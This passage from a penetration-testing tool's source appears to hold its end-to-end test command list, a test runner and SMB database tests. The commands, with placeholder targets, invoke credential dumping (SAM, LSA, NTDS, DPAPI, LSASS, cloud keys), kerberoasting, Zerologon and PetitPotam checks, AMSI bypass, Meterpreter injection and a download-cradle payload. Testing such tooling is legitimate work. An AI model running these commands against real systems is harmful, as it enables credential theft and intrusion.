gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus ##### SMB Anonymous Auth netexec smb TARGET_HOST -u '' -p '' -M zerologon netexec smb TARGET_HOST -u '' -p '' -M petitpotam ##### SMB Auth File netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE ##### SMB Hash File netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt ##### WMI netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami ##### WMI Modules netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections #netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable #netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS ##### LDAP netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid netexec ldap TARGET_HOST -u LOGIN_USERNAME -p '' --asreproast /tmp/output.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --kerberoasting /tmp/kerberoasting1.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --kerberoast /tmp/kerberoasting2.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --kerberoasting /tmp/kerberoasting3.txt --kerberoast-account test_user netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --trusted-for-delegation netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --admin-count netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gmsa netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pso netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list ##### LDAP Modules netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method cmd netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --dump-method powershell netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa --dump-method cmd netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa --dump-method powershell netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --laps netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http https netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --port 5985 netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --port 5985 5986 netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto http --port 5985 netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986 ##### WINRM Modules netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials ##### MSSQL netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use? ##### MSSQL Modules # netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345 netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle ##### RDP netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig ##### SSH - Default test passwords and random key; switch these out if you want correct authentication netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --key-file tests/data/test_key.priv netexec ssh TARGET_HOST -u LOGIN_USERNAME -p '' --key-file tests/data/test_key.priv netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method sudo-stdin --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --sudo-check --sudo-check-method mkfifo --get-output-tries 10 netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put-file TEST_NORMAL_FILE /tmp/test_file.txt --put-file TEST_NORMAL_FILE /tmp/test_file2.txt netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get-file /tmp/test_file.txt /tmp/test_file.txt --get-file /tmp/test_file.txt /tmp/test_file2.txt ##### FTP- Default test passwords and random key; switch these out if you want correct authentication netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --ls netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --put tests/data/test_file.txt test_file.txt netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE ##### NFS netexec nfs TARGET_HOST -u "" -p "" --shares netexec nfs TARGET_HOST -u "" -p "" --enum-shares netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/testNetExec-1.5.1/tests/e2e_tests.py000066400000000000000000000202211514706431700164670ustar00rootroot00000000000000import argparse from os import getcwd from os.path import dirname, abspath, join, realpath, isfile, normpath import subprocess from time import time from rich.console import Console import platform import os from nxc.paths import TMP_PATH import sys if sys.stdout.encoding == "cp1252": sys.stdout.reconfigure(encoding="utf-8") script_dir = dirname(abspath(__file__)) run_dir = os.getcwd() def get_cli_args(): parser = argparse.ArgumentParser(description="Script for running end to end tests for nxc") parser.add_argument("--executable", default="netexec") parser.add_argument("-t", "--target", required=True) parser.add_argument("-u", "--user", "--username", dest="username", required=True) parser.add_argument("-p", "--pass", "--password", dest="password", required=True) parser.add_argument("-k", "--kerberos", action="store_true", required=False, help="Use kerberos authentication") parser.add_argument("-v", "--verbose", action="store_true", required=False, help="Display full command output") parser.add_argument("-e", "--errors", action="store_true", required=False, help="Display errors from commands") parser.add_argument("--not-tested", action="store_true", required=False, help="Display commands that didn't get tested") parser.add_argument("--poetry", action="store_true", required=False, help="Use poetry to run commands") parser.add_argument("--protocols", nargs="+", default=[], required=False, help="Protocols to test") parser.add_argument("--line-nums", nargs="+", type=parse_line_nums, required=False, help="Specify line numbers or ranges to run commands from") parser.add_argument("--test-user-file", required=False, default=normpath(join(script_dir, "data", "test_users.txt")), help="Path to the file containing test usernames") parser.add_argument("--test-password-file", required=False, default=normpath(join(script_dir, "data", "test_passwords.txt")), help="Path to the file containing test passwords") parser.add_argument("--amsi-bypass-file", required=False, default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")), help="Path to the file containing AMSI bypasses") parser.add_argument("--test-normal-file", required=False, default=normpath(join(script_dir, "data", "test_file.txt")), help="Path to file to upload/download") parser.add_argument("--dns-server", action="store", required=False, help="Specify DNS server") return parser.parse_args() def parse_line_nums(value): line_nums = [] for item in value.split(): if "-" in item: start, end = item.split("-") line_nums.extend(range(int(start), int(end) + 1)) else: line_nums.append(int(item)) return line_nums def generate_commands(args): lines = [] file_loc = realpath(join(getcwd(), dirname(__file__))) commands_file = join(file_loc, "e2e_commands.txt") with open(commands_file) as file: if args.line_nums: flattened_list = list({num for sublist in args.line_nums for num in sublist}) for i, line in enumerate(file): if i + 1 in flattened_list: if line.startswith("#"): continue if "#" in line: line = line.split("#")[0] line = line.strip() if args.protocols: if line.split()[1] in args.protocols: lines.append(replace_command(args, line)) else: lines.append(replace_command(args, line)) else: for line in file: if line.startswith("#"): continue if "#" in line: line = line.split("#")[0] line = line.strip() if args.protocols: if line.split()[1] in args.protocols: lines.append(replace_command(args, line)) else: lines.append(replace_command(args, line)) return lines def replace_command(args, line): if isfile(join(getcwd(), args.executable)): args.executable = abspath(join(getcwd(), args.executable)) kerberos = "-k " if args.kerberos else "" dns_server = f"--dns-server {args.dns_server}" if args.dns_server else "" line = line\ .replace("netexec", args.executable)\ .replace("TARGET_HOST", args.target)\ .replace("LOGIN_USERNAME", f'"{args.username}"')\ .replace("LOGIN_PASSWORD", f'"{args.password}"')\ .replace("KERBEROS ", kerberos)\ .replace("TEST_USER_FILE", args.test_user_file)\ .replace("TEST_PASSWORD_FILE", args.test_password_file)\ .replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\ .replace("TEST_NORMAL_FILE", args.test_normal_file)\ .replace("{DNS}", dns_server)\ .replace("/tmp", TMP_PATH) if args.poetry: line = f"poetry run {line}" return line def run_e2e_tests(args): console = Console() tasks = generate_commands(args) tasks_len = len(tasks) failures = [] not_tested_cmds = [] result = subprocess.Popen( f"{args.executable} --version", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, ) version = result.communicate()[0].decode().strip() with console.status(f"[bold green] :brain: Running {tasks_len} test commands for nxc v{version}..."): start_time = time() passed = 0 failed = 0 not_tested = 0 while tasks: task = str(tasks.pop(0)) # replace double quotes with single quotes for Linux due to special chars/escaping if platform.system() == "Linux": task = task.replace('"', "'") # we print the command before running because very often things will timeout and we want the last thing ran console.log(f"Running command: {task}") result = subprocess.Popen( task, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=abspath(join(dirname(__file__), "..")), ) # pass in a "y" for things that prompt for it (--ndts, etc) text = result.communicate(input=b"y")[0] return_code = result.returncode if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"): console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]") passed += 1 else: console.log(f"[bold red]{task.strip()} :cross_mark:[/]") failures.append(task.strip()) failed += 1 # Count the amount of commands that didn't get tested if not text: not_tested_cmds.append(task.strip()) not_tested += 1 if args.errors: raw_text = text.decode("utf-8") # this is not a good way to detect errors, but it does catch a lot of things if "error" in raw_text.lower() or "failure" in raw_text.lower() or "Traceback (most recent call last)" in raw_text: console.log("[bold red]Error Detected:") console.log(f"{raw_text}") if args.verbose: # this prints sorta janky, but it does its job console.log(f"[*] Results:\n{text.decode('utf-8')}") if not_tested_cmds and args.not_tested: console.log("[bold yellow]Commands that didn't get tested:") for not_tested_cmd in not_tested_cmds: console.log(f"[bold yellow]{not_tested_cmd}") if failures: console.log("[bold red]Failed Commands:") for failure in failures: console.log(f"[bold red]{failure}") console.log(f"Ran {tasks_len} tests in {int((time() - start_time) / 60)} mins and {int((time() - start_time) % 60)} seconds - [bold green] Passed: {passed} [bold red] Failed: {failed} [bold yellow] Not Tested: {not_tested}") if __name__ == "__main__": parsed_args = get_cli_args() run_e2e_tests(parsed_args) NetExec-1.5.1/tests/test_smb_database.py000066400000000000000000000107131514706431700202430ustar00rootroot00000000000000import os import pytest from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker, scoped_session from nxc.database import delete_workspace, create_workspace from nxc.first_run import first_run_setup from nxc.loaders.protocolloader import ProtocolLoader from nxc.logger import NXCAdapter from nxc.paths import WORKSPACE_DIR from sqlalchemy.dialects.sqlite import Insert @pytest.fixture(scope="session") def db_engine(): db_path = os.path.join(WORKSPACE_DIR, "test/smb.db") db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True) yield db_engine db_engine.dispose() @pytest.fixture(scope="session") def db_setup(db_engine): proto = "smb" logger = NXCAdapter() first_run_setup(logger) p_loader = ProtocolLoader() create_workspace("test", p_loader) protocol_db_path = p_loader.get_protocols()[proto]["dbpath"] protocol_db_object = p_loader.load_protocol(protocol_db_path).database database_obj = protocol_db_object(db_engine) database_obj.reflect_tables() yield database_obj database_obj.shutdown_db() delete_workspace("test") @pytest.fixture def db(db_setup): yield db_setup db_setup.clear_database() @pytest.fixture(scope="session") def sess(db_engine): session_factory = sessionmaker(bind=db_engine, expire_on_commit=True) Session = scoped_session(session_factory) sess = Session() yield sess sess.close() def test_add_host(db): db.add_host( "127.0.0.1", "localhost", "TEST.DEV", "Windows Testing 2023", False, True, True, True, False, False, ) inserted_host = db.get_hosts() assert len(inserted_host) == 1 host = inserted_host[0] assert host.id == 1 assert host.ip == "127.0.0.1" assert host.hostname == "localhost" assert host.os == "Windows Testing 2023" assert host.smbv1 is False assert host.signing is True assert host.spooler is True assert host.zerologon is True assert host.petitpotam is False assert host.dc is False def test_update_host(db, sess): host = { "ip": "127.0.0.1", "hostname": "localhost", "domain": "TEST.DEV", "os": "Windows Testing 2023", "smbv1": True, "signing": False, "spooler": True, "zerologon": False, "petitpotam": False, "dc": False, } iq = Insert(db.HostsTable) sess.execute(iq, [host]) db.add_host( "127.0.0.1", "localhost", "TEST.DEV", "Windows Testing 2023 Updated", False, True, False, False, False, False, ) inserted_host = db.get_hosts() assert len(inserted_host) == 1 host = inserted_host[0] assert host.id == 1 assert host.ip == "127.0.0.1" assert host.hostname == "localhost" assert host.os == "Windows Testing 2023 Updated" assert host.smbv1 is False assert host.signing is True assert host.spooler is False assert host.zerologon is False assert host.petitpotam is False assert host.dc is False def test_add_credential(): pass def test_update_credential(): pass def test_remove_credential(): pass def test_add_admin_user(): pass def test_get_admin_relations(): pass def test_remove_admin_relation(): pass def test_is_credential_valid(): pass def test_get_credentials(): pass def test_get_credential(): pass def test_is_credential_local(): pass def test_is_host_valid(): pass def test_get_hosts(): pass def test_is_group_valid(): pass def test_add_group(): pass def test_get_groups(): pass def test_get_group_relations(): pass def test_remove_group_relations(): pass def test_is_user_valid(): pass def test_get_users(): pass def test_get_user(): pass def test_get_domain_controllers(): pass def test_is_share_valid(): pass def test_add_share(): pass def test_get_shares(): pass def test_get_shares_by_access(): pass def test_get_users_with_share_access(): pass def test_add_domain_backupkey(): pass def test_get_domain_backupkey(): pass def test_is_dpapi_secret_valid(): pass def test_add_dpapi_secrets(): pass def test_get_dpapi_secrets(): pass def test_add_loggedin_relation(): pass def test_get_loggedin_relations(): pass def test_remove_loggedin_relations(): pass